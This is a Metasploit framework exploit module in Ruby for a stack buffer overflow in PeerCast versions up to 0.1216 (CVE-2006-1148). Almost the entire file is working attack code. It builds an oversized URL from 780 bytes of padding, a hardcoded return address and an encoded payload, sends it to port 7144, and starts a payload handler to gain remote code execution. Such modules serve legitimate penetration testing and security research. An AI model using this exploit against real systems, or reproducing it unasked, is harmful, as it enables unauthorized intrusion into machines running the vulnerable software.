metasploit-framework/modules/exploits/linux/http/peercast_url.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class Metasploit < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
super(update_info(info,
'Name' => 'PeerCast URL Handling Buffer Overflow',
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'Description' => %q{
This module exploits a stack buffer overflow in PeerCast <= v0.1216.
The vulnerability is caused due to a boundary error within the
handling of URL parameters.
},
'Author' => [ 'MC' ],
'License' => BSD_LICENSE,
'References' =>
[
['CVE', '2006-1148'],
['OSVDB', '23777'],
['BID', '17040']
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],
'Privileged' => false,
'Payload' =>
{
'Space' => 200,
'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
'MinNops' => 64,
},
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
],
'DisclosureDate' => 'Mar 8 2006'))
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register_options([
Opt::RPORT(7144)
], self.class)
end
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def exploit
connect
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pat = rand_text_alphanumeric(780)
pat << [target.ret].pack('V')
pat << payload.encoded
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uri = '/stream/?' + pat
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res = "GET #{uri} HTTP/1.0\r\n\r\n"
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print_status("Trying target address 0x%.8x..." % target.ret)
sock.put(res)
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handler
disconnect
end
end